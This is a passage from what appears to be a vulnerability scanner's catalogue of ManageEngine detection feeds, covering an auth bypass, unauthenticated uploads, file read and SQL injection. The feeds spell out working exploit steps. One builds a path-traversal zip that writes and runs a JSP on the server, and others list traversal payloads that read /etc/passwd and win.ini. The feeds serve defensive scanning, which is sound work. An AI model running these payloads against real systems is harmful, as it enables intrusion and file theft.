# could call those endpoints directly and receive genuine API data — the same JSON a
# logged-in technician would get — disclosing requests, assets and other records.
#
# Detection (safe, GET-only):
#   An unauthenticated GET to an affected list endpoint (/api/v3/requests) is PROCESSED
#   on a vulnerable build and returns a 200 carrying the authentic ServiceDesk Plus REST
#   API v3 envelope (response_status.status_code == 2000 + a list_info block). A patched
#   build rejects the same request with 401 / a redirect to the login page.
#   The match is anchored on the genuine API response structure, not a planted marker.
uid: bca15a0c-5111-4853-aa38-44e0b2ec32ad
name: "Zoho ManageEngine ServiceDesk Plus REST API Auth Bypass (CVE-2021-37415)"
description: "Requests the ServiceDesk Plus REST API /api/v3/requests without credentials and reports when it returns the authentic v3 response envelope, the API filter auth bypass."
cves: [CVE-2021-37415]
cvss: 9.8
severity: critical
confidence_base: 0.20
category: auth-bypass
tags: [manageengine, servicedesk-plus, zoho, auth-bypass, rest-api, info-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-37415"
  - "https://www.manageengine.com/products/service-desk/"

steps:
  # ── Unauthenticated GET to an affected REST API v3 list endpoint ──────────
  # Vulnerable: the request is processed and returns the authentic API envelope.
  # Patched: 401 / redirect to login — the API data never reaches the client.
  - id: api-probe
    action: http_request
    method: GET
    path: "/api/v3/requests?input_data=%7B%22list_info%22%3A%7B%22row_count%22%3A1%7D%7D"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Accept: "application/vnd.manageengine.sdp.v3+json"
    store_as: api_resp

  # The genuine SDP REST API v3 envelope: response_status.status_code 2000 ("success")
  # together with a list_info block. Both must be present to confirm processed data.
  - id: api-structure-match
    action: match
    source: api_resp.body
    pattern: "\"status_code\"\\s*:\\s*2000"
    condition: "api_resp.status == 200 && api_resp.body.contains(\"list_info\") && api_resp.body.contains(\"response_status\")"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Unauthenticated GET /api/v3/requests returned the authentic ServiceDesk Plus REST API v3 envelope (HTTP 200, response_status.status_code 2000) — CVE-2021-37415 auth bypass: {{api_resp.body}}"
      stop: true

Zoho ManageEngine ServiceDesk Plus Unauthenticated Upload RCE

CVECVE-2021-44077
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/manageengine/CVE-2021-44077.yaml

Detects the unauthenticated file-upload flaw in Zoho ManageEngine ServiceDesk Plus / SupportCenter Plus (CVE-2021-44077), the pre-auth primitive that the public PoC and Metasploit module chain into a JSP webshell for RCE. The probe is inert: it uploads a benign text sentinel carrying a per-run random nonce to /RestAPI/ImportTechnicians, then retrieves it and confirms the exact nonce round-tripped — proving the unauthenticated upload+retrieve path works without uploading or executing any code.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /RestAPI/ImportTechnicians with a crafted body
  4. Checks upload_resp.body for (?i)"?(status|result|operation)"?
  5. HTTP(S) request GET /fileupload/{{upload_name}}
  6. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 75: Zoho ManageEngine ServiceDesk Plus unauthenticated file upload (CVE-2021-44077)

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2021-44077.yaml
# Zoho ManageEngine ServiceDesk Plus — unauthenticated RCE via file upload
# (CVE-2021-44077, CISA KEV, actively exploited).
#
# ServiceDesk Plus / SupportCenter Plus versions up to 11305 expose the
# /RestAPI/* servlets without any authentication because the security filter
# fails open on those paths. An attacker POSTs a crafted upload to
# /RestAPI/ImportTechnicians, which the server writes under the web root and
# then serves back / executes — the public PoC (horizon3ai) and the Metasploit
# module chain this into a JSP webshell for remote code execution.
#
# Safe, inert detection (NO exploitation):
#   The feed proves the UNAUTHENTICATED upload+retrieve primitive works without
#   ever uploading or executing code. It uploads a benign text sentinel whose
#   body is a per-run random nonce ("NOCTIS" + rand_hex(16)), then fetches the
#   file back and confirms the exact per-run nonce round-tripped. The payload is
#   plain text — no webshell, no JSP, no command — so the probe demonstrates the
#   pre-auth file-write/disclosure path, not code execution.
#
#   The per-run nonce defeats a cheating target that echoes a constant marker:
#   the match is gated on stridx(resp.body, marker) >= 0, which requires THIS
#   run's exact nonce, not any NOCTIS-shaped string.
#
#   A patched instance rejects the unauthenticated /RestAPI path (401/403) or
#   does not persist/serve the upload, so the nonce never comes back and no
#   finding fires. QoD 75 (confirmed pre-auth upload+retrieve, not RCE).
uid: 834c41d7-e77d-46a7-9a57-6c1d10138de8
name: "Zoho ManageEngine ServiceDesk Plus Unauthenticated Upload RCE (CVE-2021-44077)"
description: |
  Detects the unauthenticated file-upload flaw in Zoho ManageEngine
  ServiceDesk Plus / SupportCenter Plus (CVE-2021-44077), the pre-auth primitive
  that the public PoC and Metasploit module chain into a JSP webshell for RCE.
  The probe is inert: it uploads a benign text sentinel carrying a per-run random
  nonce to /RestAPI/ImportTechnicians, then retrieves it and confirms the exact
  nonce round-tripped — proving the unauthenticated upload+retrieve path works
  without uploading or executing any code.
cves: [CVE-2021-44077]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: rce
tags: [manageengine, servicedesk-plus, supportcenter-plus, zoho, file-upload, auth-bypass, rce, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-44077"
  - "https://github.com/horizon3ai/CVE-2021-44077"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44077.yaml"
  - "https://www.rapid7.com/db/?q=CVE-2021-44077"

steps:
  # 1 — per-run random nonce sentinel. Benign text only ("NOCTIS" + 32 hex
  #     chars from rand_hex(16)); it carries no code and is never executed.
  - id: gen-marker
    action: script
    code: |
      "NOCTIS" + rand_hex(16)
    store_as: marker

  # 2 — random upload filename (mirrors the PoC's attacker-chosen name).
  - id: gen-filename
    action: script
    code: |
      "noctis" + rand_str(10) + ".txt"
    store_as: upload_name

  # Initialise the gating flag so the later condition never throws on an
  # undefined variable (an undefined var in a condition throws → step skipped).
  - id: init-upload-ok
    action: set_var
    var_name: upload_ok
    var_value: false

  # 3 — UNAUTHENTICATED upload to /RestAPI/ImportTechnicians (multipart).
  #     A vulnerable instance accepts it (200) because the security filter fails
  #     open on /RestAPI/*; a patched instance rejects it (401/403).
  - id: upload-probe
    action: http_request
    method: POST
    path: "/RestAPI/ImportTechnicians"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "multipart/form-data; boundary=---------------------------31415926535noctis"
    body: "-----------------------------31415926535noctis\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"{{upload_name}}\"\r\nContent-Type: text/plain\r\n\r\n{{marker}}\r\n-----------------------------31415926535noctis--\r\n"
    store_as: upload_resp

  # The upload was accepted without authentication (HTTP 200 + a success body).
  - id: upload-accepted
    action: match
    source: upload_resp.body
    pattern: "(?i)\"?(status|result|operation)\"?"
    condition: "upload_resp.status == 200"
    on_match:
      set_vars:
        upload_ok: true

  # 4 — retrieve the uploaded sentinel back from the web root (no auth).
  - id: fetch-probe
    action: http_request
    method: GET
    path: "/fileupload/{{upload_name}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp
    condition: "upload_ok == true"

  # 5 — confirmation: the exact per-run nonce round-tripped through an
  #     unauthenticated upload+retrieve. The static pattern recognises the
  #     nonce shape; the condition requires THIS run's exact nonce (stridx),
  #     so a target echoing a constant NOCTIS marker does not match.
  - id: confirm-upload-rce
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "upload_ok == true && resp.status == 200 && stridx(resp.body, marker) >= 0"
    on_match:
      finding:
        title: "Zoho ManageEngine ServiceDesk Plus unauthenticated file upload (CVE-2021-44077)"
        description: "An unauthenticated POST to /RestAPI/ImportTechnicians persisted a file that was then served back from the web root, confirming the pre-auth upload primitive that CVE-2021-44077 chains into a JSP webshell for remote code execution. The probe is inert (benign text nonce, no code)."
        remediation: "Upgrade ServiceDesk Plus to build 11306 or later (SupportCenter Plus 11025+); restrict access to the /RestAPI endpoints and apply the vendor advisory."
        confidence_delta: 0.65
        qod: 75
        evidence: "Unauthenticated upload+retrieve confirmed: per-run nonce {{marker}} uploaded via POST /RestAPI/ImportTechnicians (file {{upload_name}}) was served back from GET /fileupload/{{upload_name}} (HTTP {{resp.status}})"
      stop: true

ManageEngine EventLog Analyzer agentUpload Unauthenticated Zip Traversal JSP Upload

CVECVE-2014-6037
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_dialogue, sleep, http_request, match · highest QoD 97
Feedtests/vulnerabilities/manageengine/CVE-2014-6037.yaml

Detects ManageEngine EventLog Analyzer builds whose /agentUpload servlet accepts an agent zip upload without authentication and extracts entries whose names contain "../", allowing a JSP to be written into the web root and run by the application server. The test uploads a zip holding a single JSP with a per-run random name, extracted through the traversal into the "event" web application, then requests that JSP with two random numbers: the JSP prints their sum and deletes itself. The finding is reported only when the computed sum comes back, which proves the file was written into the web root and executed; a server that keeps the file out of the web root, or serves it as text without running it, is not reported. Versions 7.0 to 8.0, which expose the servlet under /event/ and cannot compile JSPs, are not covered.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. TCP dialogue: one binary protocol frame
  3. HTTP(S) request GET /{{g.name}}.jsp?a={{g.a}}&b={{g.b}}
  4. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated POST /agentUpload with a zip entry ../../webapps/event/….jsp wrote a JSP into the web root; GET /….jsp?a=…&b=… executed it …

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2014-6037.yaml
# ManageEngine EventLog Analyzer <= 9.9 build 9002 — unauthenticated zip upload
# with path traversal in the agentUpload servlet (CVE-2014-6037).
#
# Ported from OpenVAS/Greenbone NVT
#   2014/gb_manageengine_eventlog_analyzer_69482.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.105083, GPL-2.0-only)
# Exploit shape cross-checked with the Mogwai Security advisory MSA-2014-01
# (Full Disclosure 2014/Aug/86) and the Metasploit module
# exploits/multi/http/eventlog_file_upload.
#
# The agentUpload servlet (com.adventnet.sa.agent.UploadHandlerServlet) takes
# an agent's log zip without authentication and extracts it under the data
# directory, joining each entry name to that directory without rejecting "..".
# An entry named ../../webapps/event/<name>.jsp lands in the "event" web
# application, which is served at "/", and is compiled and run by the
# application server (SYSTEM on Windows).
#
# Detection (QoD 97, real exploitation, benign):
#   1. POST a stored (uncompressed) zip whose single entry is
#      ../../webapps/event/<random>.jsp. The JSP prints NOCTIS<a+b>END, the sum
#      of the a/b query parameters, then deletes its own file. Its source is
#      fixed (so the zip CRC is a constant); the per-run randomness is the file
#      name and the a/b values sent on the GET, so the computed sum never
#      appears in anything the scanner sends.
#   2. GET /<random>.jsp?a=<a>&b=<b>: only a server that extracted the entry
#      into the web root AND executed it returns the sum. A server serving the
#      file as text returns the source (no sum); a fixed server keeps the file
#      in its data directory (404).
#
# Better than the NASL: the NASL uploads a JSP with a fixed name and fixed
# marker ("OpenVAS RCE Test", present in its own upload) and leaves a
# second, harmless file behind with a clean-up upload. This feed uses a
# per-run name and a computed marker (no reflection / static-serving false
# positive) and the JSP removes itself when it runs.
#
# Limitations: versions 7.0 – 8.0 expose the servlet at /event/agentUpload and
# ship no Java compiler (JSP upload does not execute there; the Metasploit
# module deploys an EAR instead) — not reported. If the upload succeeds but the
# GET never reaches the JSP, the uploaded JSP stays in the web root.
uid: 248b23e7-3793-4357-b14a-4ae76a11103b
name: "ManageEngine EventLog Analyzer agentUpload Unauthenticated Zip Traversal JSP Upload (CVE-2014-6037)"
description: |
  Detects ManageEngine EventLog Analyzer builds whose /agentUpload servlet
  accepts an agent zip upload without authentication and extracts entries whose
  names contain "../", allowing a JSP to be written into the web root and run
  by the application server. The test uploads a zip holding a single JSP with a
  per-run random name, extracted through the traversal into the "event" web
  application, then requests that JSP with two random numbers: the JSP prints
  their sum and deletes itself. The finding is reported only when the computed
  sum comes back, which proves the file was written into the web root and
  executed; a server that keeps the file out of the web root, or serves it as
  text without running it, is not reported. Versions 7.0 to 8.0, which expose
  the servlet under /event/ and cannot compile JSPs, are not covered.
cves: [CVE-2014-6037]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [manageengine, eventlog-analyzer, zoho, file-upload, zip-slip, path-traversal, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-6037"
  - "https://seclists.org/fulldisclosure/2014/Aug/86"
  - "https://www.exploit-db.com/exploits/34670"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/eventlog_file_upload.rb"

steps:
  # Build the whole HTTP upload request as hex: a multipart body carrying a
  # stored (method 0) zip with one entry ../../webapps/event/<name>.jsp.
  # The JSP source is fixed: 266 bytes, CRC-32 0x1ca13f28 (little-endian
  # 283fa11c in the headers). Only the entry name changes per run.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let name = "noctis" + rand_hex(8);
      let jsp = `<% try { out.print("NOCTIS" + (Long.parseLong(request.getParameter("a")) + Long.parseLong(request.getParameter("b"))) + "END"); } catch (Exception e) { } try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>`;
      let entry = "../../webapps/event/" + name + ".jsp";
      let nlen = strlen(entry);
      let crc = "283fa11c";
      let size = p32le(266);
      let ename = hexstr(entry);
      let local = "504b0304" + "1400" + "0000" + "0000" + "0000" + "2100" + crc + size + size + p16le(nlen) + "0000" + ename + hexstr(jsp);
      let central = "504b0102" + "1400" + "1400" + "0000" + "0000" + "0000" + "2100" + crc + size + size + p16le(nlen) + "0000" + "0000" + "0000" + "0000" + "00000000" + "00000000" + ename;
      let eocd = "504b0506" + "0000" + "0000" + "0100" + "0100" + p32le(46 + nlen) + p32le(30 + nlen + 266) + "0000";
      let boundary = "----------------------------noctis" + rand_hex(6);
      let head = "--" + boundary + "\r\nContent-Disposition: form-data; name=\"payload\"; filename=\"" + rand_hex(6) + ".zip\"\r\nContent-Type: application/octet-stream\r\n\r\n";
      let tail = "\r\n--" + boundary + "--\r\n";
      let body = hexstr(head) + local + central + eocd + hexstr(tail);
      let req = "POST /agentUpload HTTP/1.0\r\nHost: " + target_host + "\r\nAccept: */*\r\nContent-Type: multipart/form-data; boundary=" + boundary + "\r\nContent-Length: " + (strlen(body) / 2) + "\r\nConnection: close\r\n\r\n";
      #{ name: name, a: a, b: b, marker: "NOCTIS" + (a + b) + "END", req: hexstr(req) + body }
    store_as: g

  # Unauthenticated upload. The reply is not needed (a vulnerable server
  # answers 200 with an empty body); the GET below is the proof.
  - id: upload
    action: tcp_dialogue
    port: "{{port}}"
    read_banner: false
    timeout_secs: 10
    send_hex: "{{g.req}}"
    store_as: up

  # Give the server time to finish extracting before the JSP is requested.
  - id: settle
    action: sleep
    duration_ms: 1000

  - id: fetch
    action: http_request
    method: GET
    path: "/{{g.name}}.jsp?a={{g.a}}&b={{g.b}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: jsp

  # Only a server that extracted the entry into the web root and executed it
  # returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated POST /agentUpload with a zip entry ../../webapps/event/{{g.name}}.jsp wrote a JSP into the web root; GET /{{g.name}}.jsp?a={{g.a}}&b={{g.b}} executed it and returned the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

ManageEngine NetFlow Analyzer Arbitrary File Download

CVECVE-2014-5445, CVE-2014-5446, CVE-2014-9373
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/manageengine/netflow-analyzer-file-download.yaml

Unauthenticated absolute-path and directory traversal in the ManageEngine NetFlow Analyzer (8.6 – 10.2) and IT360 (10.3) CSVServlet, CReportPDFServlet and DisplayChartPDF servlets lets a remote attacker download arbitrary files in the context of the web server (IT360 needs an authenticated session, not covered here). Confirmed by reading win.ini, boot.ini or /etc/passwd through the servlets and matching the file content. After a read, the same request is sent for an absent file in a random missing directory, and the finding is raised only when that control gets an HTTP reply without file content, so a server that answers every path with the same file is not reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /netflow/servlet/{{probe}} HTTP/1.0
  2. Checks abs_resp.banner for ^HTTP/1\.[01] 200[\s\S]*?(root:[^:\r\n]*:0:0:|\[fonts\][\s\S]{0,2000}…
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /netflow/servlet/{{schfilepath_ctrl_probe}} HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks schfilepath_hit for ^yes$ → finding QoD 75: Arbitrary file read (CVE-2014-5445) via GET /netflow/servlet/… returned OS file content; the same request for an absent file did not
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET /netflow/servlet/DisplayChartPDF?filename={{probe}} HTTP/1.0
  8. Checks chart_resp.banner for ^HTTP/1\.[01] 200[\s\S]*?(root:[^:\r\n]*:0:0:|\[fonts\][\s\S]{0,2000}…
  9. Parses / computes the next value with a Rhai script
  10. Raw TCP (TLS on HTTPS), sent verbatim: GET /netflow/servlet/DisplayChartPDF?filename={{displaychart_ctrl_probe}} HTTP/1.0
  11. Parses / computes the next value with a Rhai script
  12. Checks displaychart_hit for ^yes$ → finding QoD 75: Arbitrary file read (CVE-2014-5446) via GET /netflow/servlet/DisplayChartPDF?filename=… returned OS file content; the same request for an a…

References:

Feed source — tests/vulnerabilities/manageengine/netflow-analyzer-file-download.yaml
# ManageEngine NetFlow Analyzer / IT360 — unauthenticated arbitrary file
# download via the CSVServlet, CReportPDFServlet and DisplayChartPDF servlets.
#
# Ported from OpenVAS/Greenbone NVT
# 2014/gb_NetFlow_Analyzer_lfi_12_14.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105127, GPL-2.0-only).
#
# CVE mapping: the NASL (and the backlog issue) carry CVE-2014-9373 only, but
# that record is the CollectorConfInfoServlet "filename" traversal (ZDI-14-422,
# code execution through a file write), which neither the NASL nor this feed
# probes. The three servlets the NASL actually exploits are:
#   - CSVServlet?schFilePath=<absolute path>          CVE-2014-5445 (1)
#   - CReportPDFServlet?schFilePath=<abs path>&pdf=true CVE-2014-5445 (2)
#   - DisplayChartPDF?filename=../../<path>           CVE-2014-5446
# (NetFlow Analyzer 8.6 – 10.2, IT360 10.3 — Pedro Ribeiro advisory, Nov 2014).
# CVE-2014-9373 stays in the feed-level cves: for issue tracking only; each
# finding carries the CVE of the servlet that leaked the file (CVE-2014-5445
# or CVE-2014-5446), never 9373. Note exclude_cve matches by overlap.
#
# Authentication: per the advisory the servlets are reachable unauthenticated
# on NetFlow Analyzer, but need a session on IT360 — this unauthenticated
# feed does not cover IT360 (nor does the NASL).
#
# Proof (benign, read-only): read a world-readable OS file and match its
# content — win.ini ([fonts] … [extensions]) on Windows, /etc/passwd
# (root:…:0:0:) on Linux. The servlets stream the raw file bytes. Nothing is
# written.
#
# Beyond the NASL:
#   - no gate on the "Login - Netflow Analyzer" page of
#     /netflow/jspui/NetworkSnapShot.jsp: IT360 and re-branded/localised
#     builds do not carry that title, and the content match below is strict
#     enough on its own (a plain web server answers 404 to every probe);
#   - CReportPDFServlet is also sent the Windows path with "\" percent-encoded
#     (%5c), and DisplayChartPDF with "%2f"/"%5c" traversal, for front ends and
#     newer Tomcat connectors that reject a raw "\" or a literal "../" (400);
#   - the match requires an HTTP 200 status line, and win.ini must show both
#     the [fonts] and [extensions] sections (the NASL accepts either word);
#   - each finding names the CVE of the servlet that actually leaked the file;
#   - absent-file control (#2384): after a read, the same request with a random
#     missing directory inserted before the file must come back without file
#     content (fail closed), so catch-all servers / honeypots are not reported.
# Parity notes: the NASL's traversal_files() Windows set is win.ini and
# boot.ini; boot.ini ([boot loader]) is probed through CSVServlet and
# CReportPDFServlet (the advisory's own C:\boot.ini example). Drive-relative
# probes ("/windows/win.ini", "../" traversal) resolve on the install drive
# only; CReportPDFServlet's explicit "C:\" covers a NetFlow installed on D:.
#
# tcp_connect (raw HTTP/1.0) keeps the traversal bytes verbatim — reqwest would
# normalise/encode them.
uid: a8a25659-e3a6-4fbb-b028-e48b8af9ec5e
name: "ManageEngine NetFlow Analyzer Arbitrary File Download (CVE-2014-5445, CVE-2014-5446)"
description: |
  Unauthenticated absolute-path and directory traversal in the ManageEngine
  NetFlow Analyzer (8.6 – 10.2) and IT360 (10.3) CSVServlet, CReportPDFServlet
  and DisplayChartPDF servlets lets a remote attacker download arbitrary files
  in the context of the web server (IT360 needs an authenticated session,
  not covered here). Confirmed by reading win.ini, boot.ini or /etc/passwd
  through the servlets and matching the file content. After a read, the same
  request is sent for an absent file in a random missing directory, and the
  finding is raised only when that control gets an HTTP reply without file
  content, so a server that answers every path with the same file is not
  reported.
cves: [CVE-2014-5445, CVE-2014-5446, CVE-2014-9373]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [manageengine, netflow-analyzer, it360, zoho, path-traversal, file-read, lfi, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5445"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5446"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9373"
  - "https://seclists.org/fulldisclosure/2014/Dec/17"
  - "https://seclists.org/bugtraq/2014/Dec/5"
  - "https://www.zerodayinitiative.com/advisories/ZDI-15-138/"
  - "https://www.zerodayinitiative.com/advisories/ZDI-14-422/"

steps:
  # One raw HTTP/1.0 request per (servlet, encoding, target file); each loop
  # group (the reset step carrying the loop and every step after it) runs per
  # item and the first confirmed read stops the test. Windows first:
  # NetFlow Analyzer is mostly on Windows. Results are reset per item so a
  # failed connect leaves an empty banner, not the previous item's reply.
  # Group 1 — CVE-2014-5445: absolute path in schFilePath.
  - id: schfilepath-reset
    action: set_var
    var_name: abs_resp
    var_value: {connected: false, banner: ""}
    loop:
      var: probe
      over:
        # CSVServlet (NASL + Metasploit). On a Windows JVM a leading "/"
        # resolves on the install drive.
        - 'CSVServlet?schFilePath=/windows/win.ini'
        - 'CSVServlet?schFilePath=/boot.ini'
        - 'CSVServlet?schFilePath=/etc/passwd'
        # CReportPDFServlet + pdf=true (NASL sends "C:\" + the file with "/"
        # turned into "\"); the %5c form passes strict connectors
        - 'CReportPDFServlet?schFilePath=C:\windows\win.ini&pdf=true'
        - 'CReportPDFServlet?schFilePath=C:%5cwindows%5cwin.ini&pdf=true'
        - 'CReportPDFServlet?schFilePath=C:\boot.ini&pdf=true'
        - 'CReportPDFServlet?schFilePath=/etc/passwd&pdf=true'

  - id: schfilepath-ctrl-reset
    action: set_var
    var_name: schfilepath_ctrl
    var_value: {connected: false, banner: ""}

  - id: schfilepath-hit-reset
    action: set_var
    var_name: schfilepath_hit
    var_value: ""

  - id: schfilepath-clean-reset
    action: set_var
    var_name: schfilepath_clean
    var_value: false

  - id: schfilepath-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /netflow/servlet/{{probe}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: abs_resp

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: schfilepath-match
    action: match
    source: abs_resp.banner
    # HTTP 200 + win.ini sections, a boot.ini header or a passwd root entry.
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*?(root:[^:\\r\\n]*:0:0:|\\[fonts\\][\\s\\S]{0,2000}?\\[extensions\\]|\\[boot loader\\])"
    on_match:
      set_vars:
        schfilepath_hit: "yes"

  # Control: the same request with a random missing directory inserted before
  # the file (same separator, same file name), so a server that keys a fake
  # file on that name answers it too. NetFlow Analyzer answers 404.
  - id: schfilepath-control-path
    action: script
    condition: 'schfilepath_hit != ""'
    code: |
      ereg_replace("^(.*?)(%5c|%2f|/|\\\\)(etc|windows|winnt|boot\\.ini)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", probe, true)
    store_as: schfilepath_ctrl_probe

  - id: schfilepath-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'schfilepath_hit != ""'
    send: "GET /netflow/servlet/{{schfilepath_ctrl_probe}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: schfilepath_ctrl

  # Fail closed: the control must have answered over HTTP, without any file content.
  - id: schfilepath-control-verdict
    action: script
    condition: 'schfilepath_hit != ""'
    code: |
      let b = schfilepath_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[fonts\\]|\\[extensions\\]|\\[boot loader\\]", b)
    store_as: schfilepath_clean

  - id: schfilepath-report
    action: match
    source: schfilepath_hit
    pattern: "^yes$"
    condition: "schfilepath_clean == true"
    on_match:
      finding:
        cves: [CVE-2014-5445]
        confidence_delta: 0.55
        qod: 75
        evidence: "Arbitrary file read (CVE-2014-5445) via GET /netflow/servlet/{{probe}} returned OS file content; the same request for an absent file did not"
      stop: true

  # Group 2 — CVE-2014-5446: "../" traversal in DisplayChartPDF filename
  # (NASL: 8 levels), then the same percent-encoded — WAFs often match a
  # literal "../", strict request-line parsers reject a raw "\".
  - id: displaychart-reset
    action: set_var
    var_name: chart_resp
    var_value: {connected: false, banner: ""}
    loop:
      var: probe
      over:
        - '../../../../../../../../windows/win.ini'
        - '../../../../../../../../etc/passwd'
        - '..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
        - '..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'

  - id: displaychart-ctrl-reset
    action: set_var
    var_name: displaychart_ctrl
    var_value: {connected: false, banner: ""}

  - id: displaychart-hit-reset
    action: set_var
    var_name: displaychart_hit
    var_value: ""

  - id: displaychart-clean-reset
    action: set_var
    var_name: displaychart_clean
    var_value: false

  - id: displaychart-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /netflow/servlet/DisplayChartPDF?filename={{probe}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: chart_resp

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: displaychart-match
    action: match
    source: chart_resp.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*?(root:[^:\\r\\n]*:0:0:|\\[fonts\\][\\s\\S]{0,2000}?\\[extensions\\])"
    on_match:
      set_vars:
        displaychart_hit: "yes"

  # Control: the same request with a random missing directory inserted before
  # the file (same separator, same file name), so a server that keys a fake
  # file on that name answers it too. NetFlow Analyzer answers 404.
  - id: displaychart-control-path
    action: script
    condition: 'displaychart_hit != ""'
    code: |
      ereg_replace("^(.*?)(%5c|%2f|/|\\\\)(etc|windows|winnt|boot\\.ini)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", probe, true)
    store_as: displaychart_ctrl_probe

  - id: displaychart-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'displaychart_hit != ""'
    send: "GET /netflow/servlet/DisplayChartPDF?filename={{displaychart_ctrl_probe}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: displaychart_ctrl

  # Fail closed: the control must have answered over HTTP, without any file content.
  - id: displaychart-control-verdict
    action: script
    condition: 'displaychart_hit != ""'
    code: |
      let b = displaychart_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[fonts\\]|\\[extensions\\]|\\[boot loader\\]", b)
    store_as: displaychart_clean

  - id: displaychart-report
    action: match
    source: displaychart_hit
    pattern: "^yes$"
    condition: "displaychart_clean == true"
    on_match:
      finding:
        cves: [CVE-2014-5446]
        confidence_delta: 0.55
        qod: 75
        evidence: "Arbitrary file read (CVE-2014-5446) via GET /netflow/servlet/DisplayChartPDF?filename={{probe}} returned OS file content; the same request for an absent file did not"
      stop: true

ManageEngine OpManager APMBVHandler / DataComparisonServlet unauthenticated SQL injection

CVECVE-2014-7868
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/manageengine/CVE-2014-7868.yaml

ManageEngine OpManager 11.3 and 11.4 (and IT360 10.3/10.4, Social IT Plus 11.0) let unauthenticated users inject SQL through the OPM_BVNAME parameter of a Delete operation on /servlet/APMBVHandler, and run any SQL through the query parameter of a compare operation on /servlet/DataComparisonServlet.

This check sends a benign request to each servlet as a timing baseline, then the same request with a stacked statement that only makes the database wait: PG_SLEEP for PostgreSQL (the bundled database), then WAITFOR DELAY for SQL Server. The business-view name is random, so no row matches the DELETE. The finding is reported only when two random delays both show up over the baseline, each within its own window, and the longer one takes measurably longer. No row is deleted and no data is read.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST {{p.path}} with a crafted body
  4. HTTP(S) request POST {{p.path}} with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{p.path}} with a crafted body
